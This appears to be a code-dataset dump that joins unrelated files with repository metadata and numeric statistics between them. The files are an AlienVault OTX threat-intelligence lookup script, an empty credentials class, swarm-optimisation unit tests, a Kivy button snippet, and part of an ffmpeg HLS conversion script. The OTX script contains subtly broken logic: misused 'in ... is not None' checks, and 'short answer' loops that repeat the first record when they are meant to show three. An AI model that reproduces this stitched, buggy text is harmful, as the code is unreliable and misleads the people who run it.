otx = OTXv2(API_KEY, server=OTX_SERVER)
parser = argparse.ArgumentParser(description='OTX CLI Example')
parser.add_argument('-i', '--ip', help='IP eg; 4.4.4.4', required=False)
parser.add_argument(
'-d', '--domain', help='Domain eg; alienvault.com', required=False)
parser.add_argument('-ho', '--hostname',
help='Hostname eg; www.alienvault.com', required=False)
parser.add_argument(
'-u', '--url', help='URL eg; http://www.alienvault.com', required=False)
parser.add_argument(
'-m', '--md5', help='MD5 Hash of a file eg; 7b42b35832855ab4ff37ae9b8fa9e571', required=False)
parser.add_argument(
'-p', '--pulse', help='Search pulses for a string eg; Dridex', required=False)
parser.add_argument(
'-s', '--search', help='Search pulses with ID eg; 59faff6372c9e71f6fb7e3e0', required=False)
args = vars(parser.parse_args())
if len(sys.argv) <= 2:
parser.print_help()
sys.exit(1)
if args["ip"]:
ip1 = (otx.get_indicator_details_full(IndicatorTypes.IPv4, args["ip"]))
answer = input("Do you want (l)ong or (s)hort answer: ")
if answer == "l" or answer == "L":
if "count" in ip1["malware"] is not None:
print("Number of malwares found: " + str(ip1["malware"]["count"]) + ". Hashes are: ")
for i in ip1["malware"]["data"]:
print(i["hash"])
print("----------------------------------------------------------")
print("----------------------------------------------------------")
print("Passive DNS of malware sites: \n")
for i in ip1["passive_dns"]["passive_dns"]:
print("First time: " + i["first"] + " Last time: " + i["last"])
print("Hostname: " + i["hostname"] + " Address: " + i["address"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("URL List of malware sites: \n")
for i in ip1["url_list"]["url_list"]:
print("Domain: " + i["domain"] + " Date: " + i["date"])
print("URL: " + i["url"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("List of pulses; \n" + "Nr: " + str(ip1["general"]["pulse_info"]["count"]))
for i in ip1["general"]["pulse_info"]["pulses"]:
print("ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
if ip1["reputation"]["reputation"] is not None:
print("Reputation; " + "Spamming: " + str(ip1["reputation"]["reputation"]["counts"]["Spamming"])
+ "Malware Domain: " + str(ip1["reputation"]["reputation"]["counts"]["Malware Domain"])
+ "Malware IP: " + str(ip1["reputation"]["reputation"]["counts"]["Malware IP"])
+ "C&C: " + str(ip1["reputation"]["reputation"]["counts"]["C&C"]))
if ip1["reputation"]["reputation"] is not None:
for i in ip1["reputation"]["reputation"]["activities"]:
print("Domain: " + i["domain"] + " Name: " + i["name"])
print("First Date : " + i["first_date"] + " Last Date : " + i["last_date"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
elif answer == "s" or answer == "S":
if "count" in ip1["malware"] is not None:
print("\nNumber of malwares found: " + str(ip1["malware"]["count"]) + ". Hashes are: ")
k = 1
for i in ip1["malware"]["data"]:
while k <= 3:
print(i["hash"])
k += 1
print("----------------------------------------------------------")
print("----------------------------------------------------------")
print("Passive DNS of malware sites: \n")
k = 1
for i in ip1["passive_dns"]["passive_dns"]:
while k <= 3:
print("First time: " + i["first"] + " Last time: " + i["last"])
print("Hostname: " + i["hostname"] + " Address: " + i["address"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
print("URL List of malware sites: \n")
k = 1
for i in ip1["url_list"]["url_list"]:
while k <= 3:
print("Domain: " + i["domain"] + " Date: " + i["date"])
print("URL: " + i["url"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
print("List of pulses; \n" + "Nr: " + str(ip1["general"]["pulse_info"]["count"]))
k = 1
for i in ip1["general"]["pulse_info"]["pulses"]:
while k <= 3:
print("ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
if ip1["reputation"]["reputation"] is not None:
print("Reputation; " + "Spamming: " + str(ip1["reputation"]["reputation"]["counts"]["Spamming"])
+ "Malware Domain: " + str(ip1["reputation"]["reputation"]["counts"]["Malware Domain"])
+ "Malware IP: " + str(ip1["reputation"]["reputation"]["counts"]["Malware IP"])
+ "C&C: " + str(ip1["reputation"]["reputation"]["counts"]["C&C"]))
if ip1["reputation"]["reputation"] is not None:
k = 1
for i in ip1["reputation"]["reputation"]["activities"]:
while k <= 3:
print("Domain: " + i["domain"] + " Name: " + i["name"])
print("First Date : " + i["first_date"] + " Last Date : " + i["last_date"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
if args["pulse"]:
puls1 = otx.search_pulses(args["pulse"])
answer = input("Do you want (l)ong or (s)hort answer: ")
if answer == "l" or answer == "L":
if puls1["results"] is not None:
for i in puls1["results"]:
print("Tags: " + str(i["tags"]) + ". created:" + str(i["created"]))
print("----------------------------------------------------------")
print("----------------------------------------------------------")
for k in i["indicators"]:
print("ID: " + str(k["id"]) + " Created: " + k["created"])
print("IOC: " + k["indicator"] + " Type: " + k["type"])
print("----------------------------------------------------------")
print("----------------------------------------------------------")
elif answer == "s" or answer == "S":
if puls1["results"] is not None:
m1 = 1
for i in puls1["results"]:
print("Tags: " + str(i["tags"]) + ". created:" + str(i["created"]))
print("----------------------------------------------------------")
print("----------------------------------------------------------")
for k in i["indicators"]:
while m1 <= 3:
print("ID: " + str(k["id"]) + " Created: " + k["created"])
print("IOC: " + k["indicator"] + " Type: " + k["type"])
print("----------------------------------------------------------")
m1 += 1
if args["domain"]:
dom1 = (otx.get_indicator_details_full(IndicatorTypes.DOMAIN, args["domain"]))
answer = input("Do you want (l)ong or (s)hort answer: " + "\n")
if answer == "l" or answer == "L":
if "count" in dom1["malware"] is not None:
print("Number of malwares found: " + str(dom1["malware"]["count"]) + ". Hashes are: ")
for i in dom1["malware"]["data"]:
print(i["hash"])
print("----------------------------------------------------------")
print("----------------------------------------------------------")
print("Passive DNS of malware sites: \n")
for i in dom1["passive_dns"]["passive_dns"]:
print("First time: " + i["first"] + " Last time: " + i["last"])
print("Hostname: " + i["hostname"] + " Address: " + i["address"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("URL List of malware sites: \n")
for i in dom1["url_list"]["url_list"]:
print("Domain: " + i["domain"] + " Date: " + i["date"])
print("URL: " + i["url"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("List of pulses; \n" + "Nr: " + str(dom1["general"]["pulse_info"]["count"]))
for i in dom1["general"]["pulse_info"]["pulses"]:
print("ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
if "reputation" in dom1 is not None:
print("Reputation; " + "Spamming: " + str(dom1["reputation"]["reputation"]["counts"]["Spamming"])
+ "Malware Domain: " + str(dom1["reputation"]["reputation"]["counts"]["Malware Domain"])
+ "Malware IP: " + str(dom1["reputation"]["reputation"]["counts"]["Malware IP"])
+ "C&C: " + str(dom1["reputation"]["reputation"]["counts"]["C&C"]))
if "reputation" in dom1 is not None:
for i in dom1["reputation"]["reputation"]["activities"]:
print("Domain: " + i["domain"] + " Name: " + i["name"])
print("First Date : " + i["first_date"] + " Last Date : " + i["last_date"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
elif answer == "s" or answer == "S":
if "count" in dom1["malware"] is not None:
print("\nNumber of malwares found: " + str(dom1["malware"]["count"]) + ". Hashes are: ")
k = 1
for i in dom1["malware"]["data"]:
while k <= 3:
print(i["hash"])
k += 1
print("----------------------------------------------------------")
print("----------------------------------------------------------")
print("Passive DNS of malware sites: \n")
k = 1
for i in dom1["passive_dns"]["passive_dns"]:
while k <= 3:
print("First time: " + i["first"] + " Last time: " + i["last"])
print("Hostname: " + i["hostname"] + " Address: " + i["address"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
print("URL List of malware sites: \n")
k = 1
for i in dom1["url_list"]["url_list"]:
while k <= 3:
print("Domain: " + i["domain"] + " Date: " + i["date"])
print("URL: " + i["url"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
print("List of pulses; \n" + "Nr: " + str(dom1["general"]["pulse_info"]["count"]))
k = 1
for i in dom1["general"]["pulse_info"]["pulses"]:
while k <= 3:
print("ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
if "reputation" in dom1 is not None:
print("Reputation; " + "Spamming: " + str(dom1["reputation"]["reputation"]["counts"]["Spamming"])
+ "Malware Domain: " + str(dom1["reputation"]["reputation"]["counts"]["Malware Domain"])
+ "Malware IP: " + str(dom1["reputation"]["reputation"]["counts"]["Malware IP"])
+ "C&C: " + str(dom1["reputation"]["reputation"]["counts"]["C&C"]))
if "reputation" in dom1 is not None:
k = 1
for i in dom1["reputation"]["reputation"]["activities"]:
while k <= 3:
print("Domain: " + i["domain"] + " Name: " + i["name"])
print("First Date : " + i["first_date"] + " Last Date : " + i["last_date"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
if args["hostname"]:
host1 = (otx.get_indicator_details_full(IndicatorTypes.HOSTNAME, args["hostname"]))
answer = input("Do you want (l)ong or (s)hort answer: " + "\n")
if answer == "l" or answer == "L":
if "count" in host1["malware"] is not None:
print("Number of malwares found: " + str(host1["malware"]["count"]) + ". Hashes are: ")
for i in host1["malware"]["data"]:
print(i["hash"])
else:
print("No malware founds")
print("----------------------------------------------------------")
print("----------------------------------------------------------")
print("Passive DNS of malware sites: \n")
for i in host1["passive_dns"]["passive_dns"]:
print("First time: " + i["first"] + " Last time: " + i["last"])
print("Hostname: " + i["hostname"] + " Address: " + i["address"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("URL List of malware sites: \n")
for i in host1["url_list"]["url_list"]:
print("Domain: " + i["domain"] + " Date: " + i["date"])
print("URL: " + i["url"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("List of pulses; \n" + "Nr: " + str(host1["general"]["pulse_info"]["count"]))
for i in host1["general"]["pulse_info"]["pulses"]:
print("ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
if "reputation" in host1 is not None:
print("Reputation; " + "Spamming: " + str(host1["reputation"]["reputation"]["counts"]["Spamming"])
+ "Malware Domain: " + str(host1["reputation"]["reputation"]["counts"]["Malware Domain"])
+ "Malware IP: " + str(host1["reputation"]["reputation"]["counts"]["Malware IP"])
+ "C&C: " + str(host1["reputation"]["reputation"]["counts"]["C&C"]))
if "reputation" in host1 is not None:
for i in host1["reputation"]["reputation"]["activities"]:
print("Domain: " + i["domain"] + " Name: " + i["name"])
print("First Date : " + i["first_date"] + " Last Date : " + i["last_date"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
elif answer == "s" or answer == "S":
if "count" in host1["malware"] is not None:
print("\nNumber of malwares found: " + str(host1["malware"]["count"]) + ". Hashes are: ")
k = 1
for i in host1["malware"]["data"]:
while k <= 3:
print(i["hash"])
k += 1
else:
print("No malware founds")
print("----------------------------------------------------------")
print("----------------------------------------------------------")
print("Passive DNS of malware sites: \n")
k = 1
for i in host1["passive_dns"]["passive_dns"]:
while k <= 3:
print("First time: " + i["first"] + " Last time: " + i["last"])
print("Hostname: " + i["hostname"] + " Address: " + i["address"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
print("URL List of malware sites: \n")
k = 1
for i in host1["url_list"]["url_list"]:
while k <= 3:
print("Domain: " + i["domain"] + " Date: " + i["date"])
print("URL: " + i["url"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
print("List of pulses; \n" + "Nr: " + str(host1["general"]["pulse_info"]["count"]))
k = 1
for i in host1["general"]["pulse_info"]["pulses"]:
while k <= 3:
print("ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
if "reputation" in host1 is not None:
print("Reputation; " + "Spamming: " + str(host1["reputation"]["reputation"]["counts"]["Spamming"])
+ "Malware Domain: " + str(host1["reputation"]["reputation"]["counts"]["Malware Domain"])
+ "Malware IP: " + str(host1["reputation"]["reputation"]["counts"]["Malware IP"])
+ "C&C: " + str(host1["reputation"]["reputation"]["counts"]["C&C"]))
if "reputation" in host1 is not None:
k = 1
for i in host1["reputation"]["reputation"]["activities"]:
while k <= 3:
print("Domain: " + i["domain"] + " Name: " + i["name"])
print("First Date : " + i["first_date"] + " Last Date : " + i["last_date"])
print("----------------------------------------------------------")
k += 1
print("----------------------------------------------------------\n")
if args["url"]:
url1 = (otx.get_indicator_details_full(IndicatorTypes.URL, args["url"]))
print("\nURL INfo: \n")
if str(url1["url_list"]["url_list"]) != "[]":
print("URL: " + url1["url_list"]["url_list"][0]["result"]["urlworker"]["url"] +
" IP: " + url1["url_list"]["url_list"][0]["result"]["urlworker"]["ip"])
print("Server Type: " + url1["url_list"]["url_list"][0]["result"]["urlworker"]["http_response"]["Server"] +
" Last Modify: " + url1["url_list"]["url_list"][0]["result"]["urlworker"]
["http_response"]["Last-Modified"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("Geo Info: \n")
print("Country info: " + url1["url_list"]["country_code"])
print("Country Name: " + url1["url_list"]["country_name"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
print("Number of pulses: " + str(url1["general"]["pulse_info"]["count"]))
print("----------------------------------------------------------\n")
print("----------------------------------------------------------\n")
print("Alexa: " + url1["general"]["alexa"]+"\n")
print("Whois: " + url1["general"]["whois"]+"\n")
if args["md5"]:
try:
md1 = (otx.get_indicator_details_full(IndicatorTypes.FILE_HASH_MD5, args["md5"]))
except AttributeError:
print("Wrong data to analyse")
sys.exit(1)
print("\nAnalysis: ")
if md1["analysis"]["analysis"] is not None:
print("File Type: " + md1["analysis"]["analysis"]["info"]["results"]["file_type"])
print("SSDEEP: " + md1["analysis"]["analysis"]["info"]["results"]["ssdeep"])
print("\nNumber of pulses; \n" + "Nr: " + str(md1["general"]["pulse_info"]["count"]))
for i in md1["general"]["pulse_info"]["pulses"]:
print("\nPulse ID: " + i["id"])
print("Description: " + i["description"] + " Name: " + i["name"])
print("Creation : " + i["created"] + " Modified : " + i["modified"])
print("----------------------------------------------------------")
print("----------------------------------------------------------\n")
if args["search"]:
try:
search1 = otx.get_pulse_details(args["search"])
except AttributeError:
print("Wrong data to analyse")
sys.exit(1)
answer = input("Do you want (l)ong or (s)hort answer: " + "\n")
if answer == "l" or answer == "L":
if search1["description"] is not None:
print("Description of Pulse: " + str(search1["description"]))
for i in search1["indicators"]:
print(i["type"]+" " + i["indicator"])
else:
print("No malware founds")
print("----------------------------------------------------------")
print("----------------------------------------------------------")
elif answer == "s" or answer == "S":
if search1["description"] is not None:
print("Description of Pulse: " + str(search1["description"]))
k = 1
for i in search1["indicators"]:
while k <= 3:
print(i["type"] + " " + i["indicator"])
k += 1
else:
print("No malware founds")
print("----------------------------------------------------------")
print("----------------------------------------------------------")
| 52.623094
| 115
| 0.380889
| 2,134
| 24,154
| 4.250703
| 0.081068
| 0.015434
| 0.023151
| 0.013119
| 0.856907
| 0.82174
| 0.791203
| 0.774226
| 0.746665
| 0.711167
| 0
| 0.013685
| 0.267906
| 24,154
| 458
| 116
| 52.737991
| 0.499293
| 0.01064
| 0
| 0.844221
| 0
| 0
| 0.464627
| 0.196584
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.030151
| 0.01005
| 0
| 0.01005
| 0.507538
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 9
|
af6cf860dc93469c52f1af472bf2b8abd9f3007a
| 250
|
py
|
Python
|
src/credential.py
|
tomoyuki-nakabayashi/bluemix-object-storage-test
|
115d0bb1735d3141688e02664245ef405570a0d3
|
[
"MIT"
] | null | null | null |
src/credential.py
|
tomoyuki-nakabayashi/bluemix-object-storage-test
|
115d0bb1735d3141688e02664245ef405570a0d3
|
[
"MIT"
] | 4
|
2017-06-18T01:01:27.000Z
|
2018-07-04T14:04:05.000Z
|
src/credential.py
|
tomoyuki-nakabayashi/bluemix-object-storage-test
|
115d0bb1735d3141688e02664245ef405570a0d3
|
[
"MIT"
] | null | null | null |
# coding: utf-8
class credential:
def __init__(self):
# Fill out credentials
self.userId = ""
self.password = ""
self.projectId = ""
def get(self):
return [self.userId, self.password, self.projectId]
| 20.833333
| 59
| 0.576
| 27
| 250
| 5.185185
| 0.592593
| 0.142857
| 0.2
| 0.314286
| 0.5
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0.005747
| 0.304
| 250
| 11
| 60
| 22.727273
| 0.798851
| 0.136
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0.285714
| 0
| 0.142857
| 0.571429
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
|
0
| 7
|
af838f2f457c9cce0f461393df29ef405697e613
| 7,381
|
py
|
Python
|
src/FFEAT/test/pso/AlgorithmTest.py
|
PatrikValkovic/MasterThesis
|
6e9f3b186541db6c8395ebc96ace7289d01c805b
|
[
"MIT"
] | null | null | null |
src/FFEAT/test/pso/AlgorithmTest.py
|
PatrikValkovic/MasterThesis
|
6e9f3b186541db6c8395ebc96ace7289d01c805b
|
[
"MIT"
] | null | null | null |
src/FFEAT/test/pso/AlgorithmTest.py
|
PatrikValkovic/MasterThesis
|
6e9f3b186541db6c8395ebc96ace7289d01c805b
|
[
"MIT"
] | null | null | null |
###############################
#
# Created by Patrik Valkovic
# 3/19/2021
#
###############################
import unittest
import torch as t
from ffeat import pso
from test.repeat import repeat
class AlgorithmTest(unittest.TestCase):
@repeat(5)
def test_PSO2006_random3(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2006_circle4(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Circle(4),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2006_grid_linear3(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Grid2D('linear', 3, (10,10)),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2006_grid_compact2(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Grid2D('compact', 2, (10,10)),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2006_grid_diamond2(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Grid2D('diamond', 2, (10,10)),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2006_grid_nearest10_work(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Nearest(10),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2011_random3(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2011(local_c=0.2, global_c=0.3, inertia=0.8),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2006_float16(self):
fn = lambda pop: t.sum(pop * pop, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40, dtype=t.float16),
pso.initialization.Uniform(100,-1,1,40, dtype=t.float16),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(0.03),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 10.0))
@repeat(5)
def test_PSO2011_float16(self):
fn = lambda pop: t.sum(pop * pop, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40, dtype=t.float16),
pso.initialization.Uniform(100,-1,1,40, dtype=t.float16),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2011(local_c=0.2, global_c=0.3, inertia=0.8),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 10.0))
@unittest.skipIf(not t.cuda.is_available(), 'CUDA not available')
@repeat(5)
def test_PSO2006_random3_cuda(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40, device='cuda:0'),
pso.initialization.Uniform(100,-1,1,40, device='cuda:0'),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=0.95),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
self.assertEqual(pop.device, t.device('cuda:0'))
@unittest.skipIf(not t.cuda.is_available(), 'CUDA not available')
@repeat(5)
def test_PSO2011_random3_cuda(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40, device='cuda:0'),
pso.initialization.Uniform(100,-1,1,40, device='cuda:0'),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2011(local_c=0.2, global_c=0.3, inertia=0.8),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
self.assertEqual(pop.device, t.device('cuda:0'))
@repeat(5)
def test_PSO2006_random3_inertia_distribution(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2006(local_c=0.2, global_c=0.3, inertia=t.distributions.Normal(0.95, 0.01)),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
@repeat(5)
def test_PSO2011_random3_inertia_distribution(self):
fn = lambda pop: t.sum(pop ** 2, dim=1)
alg = pso.PSO(
pso.initialization.Uniform(100,-5,5,40),
pso.initialization.Uniform(100,-1,1,40),
pso.evaluation.Evaluation(fn),
pso.neighborhood.Random(3),
pso.update.PSO2011(local_c=0.2, global_c=0.3, inertia=t.distributions.Normal(0.8, 0.03)),
iterations=500,
)
(pop,), kwargs = alg()
self.assertTrue(t.all(fn(pop) < 1.0))
if __name__ == '__main__':
unittest.main()
| 36.359606
| 102
| 0.5567
| 1,006
| 7,381
| 4.011928
| 0.085487
| 0.038652
| 0.154609
| 0.173935
| 0.938553
| 0.938553
| 0.919475
| 0.919475
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| 0
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| 202
| 103
| 36.539604
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| 0.072222
| false
| 0
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| null | 0
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| 1
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| null | 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
bb70e9ed78152972905e1f94daff7d06decf2754
| 73
|
py
|
Python
|
docs/source/python/code/stage.py
|
yukaryote/RoboMaster-SDK
|
5603bb729bf5416b529e7a6c7b75ba92efacd83c
|
[
"Apache-2.0"
] | 204
|
2020-01-07T10:15:09.000Z
|
2022-03-30T12:29:50.000Z
|
docs/source/python/code/stage.py
|
yukaryote/RoboMaster-SDK
|
5603bb729bf5416b529e7a6c7b75ba92efacd83c
|
[
"Apache-2.0"
] | 50
|
2020-01-30T12:50:13.000Z
|
2022-03-05T00:35:12.000Z
|
docs/source/python/code/stage.py
|
yukaryote/RoboMaster-SDK
|
5603bb729bf5416b529e7a6c7b75ba92efacd83c
|
[
"Apache-2.0"
] | 94
|
2020-01-29T10:46:58.000Z
|
2022-03-28T01:00:09.000Z
|
button = Button()
stage.add_widget(my_button)
stage.add_widget(my_button)
| 24.333333
| 27
| 0.821918
| 12
| 73
| 4.666667
| 0.416667
| 0.392857
| 0.5
| 0.714286
| 0.892857
| 0.892857
| 0
| 0
| 0
| 0
| 0
| 0
| 0.054795
| 73
| 3
| 28
| 24.333333
| 0.811594
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| 0
|
0
| 7
|
bb99ba2cf994ece2ba30d0e5825798f9121e475d
| 8,217
|
py
|
Python
|
convertVideo.py
|
official-srv-modak/convert_video
|
f2b49244d25147a128516adff098582bdb98b0d9
|
[
"Apache-2.0"
] | null | null | null |
convertVideo.py
|
official-srv-modak/convert_video
|
f2b49244d25147a128516adff098582bdb98b0d9
|
[
"Apache-2.0"
] | null | null | null |
convertVideo.py
|
official-srv-modak/convert_video
|
f2b49244d25147a128516adff098582bdb98b0d9
|
[
"Apache-2.0"
] | null | null | null |
import os, sys
from pathlib import Path
from past.builtins import raw_input
def convert(input_file_name, output_file_name, subtitle_path):
nameWithoutExtension = output_file_name.split(".m3u8")[0]
path = Path(input_file_name)
parentDir = str(path.parent.absolute())
justName = nameWithoutExtension.split(os.sep)[-1]
#print(parentDir)
#command = """ffmpeg -hide_banner -y -i \"""" + input_file_name + """\" -i """ + subtitle_path + """ -crf 20 -sc_threshold 0 -g 48 -keyint_min 48 -ar 48000 -map 0:v:0 -map 0:v:0 -map 0:v:0 -map 0:a:0 -map 0:a:0 -map 0:a:0 -c:v:0 h264 -profile:v:0 main -filter:v:0 -vf scale=1280:-1 -b:v:0 800k -maxrate:v:0 856k -bufsize:v:0 1200k -c:v:1 h264 -profile:v:1 main -filter:v:1 -vf scale=840:-1 -b:v:1 1400k -maxrate:v:1 1498k -bufsize:v:1 2100k -c:v:2 h264 -profile:v:2 main -filter:v:2 -vf scale=360:-1 -b:v:2 2800k -maxrate:v:2 2996k -bufsize:v:2 4200k -c:a:0 aac -b:a:0 96k -c:a:1 aac -b:a:1 128k -c:a:2 aac -b:a:2 128k -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" -master_pl_name \"""" + justName + """.m3u8\" -f hls -hls_time 4 -hls_playlist_type vod -hls_list_size 0 -hls_segment_filename \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """%03d.ts\" \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """.m3u8\""""
#command = """./ffmpeg -hide_banner -y -i \"""" + input_file_name + """\" -i """ + subtitle_path + """ -crf 20 -sc_threshold 0 -g 48 -keyint_min 48 -ar 48000 -map 0:v:0 -map 0:v:0 -map 0:v:0 -map 0:a:0 -map 0:a:0 -map 0:a:0 -c:v:0 h264 -profile:v:0 main -filter:v:0 -vf scale=1280:-1 -b:v:0 800k -maxrate:v:0 856k -bufsize:v:0 1200k -c:v:1 h264 -profile:v:1 main -filter:v:1 -vf scale=840:-1 -b:v:1 1400k -maxrate:v:1 1498k -bufsize:v:1 2100k -c:v:2 h264 -profile:v:2 main -filter:v:2 -vf scale=360:-1 -b:v:2 2800k -maxrate:v:2 2996k -bufsize:v:2 4200k -c:a:0 aac -b:a:0 96k -c:a:1 aac -b:a:1 128k -c:a:2 aac -b:a:2 128k -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" -master_pl_name \"""" + justName + """.m3u8\" -f hls -hls_time 4 -hls_playlist_type vod -hls_list_size 0 -hls_segment_filename \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """%03d.ts\" \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """.m3u8\""""
